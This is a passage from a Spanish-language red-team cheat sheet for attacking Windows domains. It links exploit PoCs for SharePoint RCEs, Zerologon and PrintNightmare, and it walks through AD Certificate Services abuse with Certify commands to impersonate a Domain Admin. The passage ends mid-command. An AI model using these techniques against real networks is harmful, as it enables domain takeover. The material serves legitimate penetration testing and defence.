- [A Guide to Attacking Domain Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)

### Explotando SharePoint

- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) Explotación de RCE \
  [PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) Ejecución de código a través de deserialización BDC
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) RCE usando typeconverters \
  [PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)

### Zerologon

- [Zerologon: Compromiso de controlador de dominio no autenticado](https://www.secura.com/whitepapers/zerologon-whitepaper): Documento técnico de la vulnerabilidad.
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): Implementación en C# del exploit Zerologon.
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): Implementación en PowerShell del exploit Zerologon.
- [Zer0Dump](https://github.com/bb00/zer0dump): Implementación en Python del exploit Zerologon usando la librería impacket.

### PrintNightmare

- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): Detalles de la vulnerabilidad.
- [Implementación de PrintNightmare en Impacket](https://github.com/cube0x0/CVE-2021-1675): PoC confiable de PrintNightmare usando la librería impacket.
- [Implementación en C# de CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): PoC confiable de PrintNightmare escrito en C#.

### Servicios de Certificados de Active Directory

**Verifique plantillas de certificados vulnerables con:** [Certify](https://github.com/GhostPack/Certify)

_Nota: Certify también se puede ejecutar con el comando `execute-assembly` de Cobalt Strike_```powershell
.\Certify.exe find /vulnerable /quiet

Asegúrese de que el valor msPKI-Certificates-Name-Flag esté configurado como "ENROLLEE_SUPPLIES_SUBJECT" y que los Derechos de Inscripción permitan a Usuarios de Dominio/Autenticados. Además, verifique que el parámetro pkiextendedkeyusage contenga el valor "Client Authentication" y que el parámetro "Authorized Signatures Required" esté configurado en 0.

Este exploit solo funciona porque esta configuración habilita la autenticación de servidor/cliente, lo que significa que un atacante puede especificar el UPN de un Administrador de Dominio ("DA") y usar el certificado capturado con Rubeus para falsificar la autenticación.

Nota: Si un Administrador de Dominio está en un grupo de Usuarios Protegidos, es posible que el exploit no funcione como se espera. Verifique antes de elegir un DA como objetivo.

Solicite el Certificado de Cuenta del DA con Certify```powershell .\Certify.exe request /template: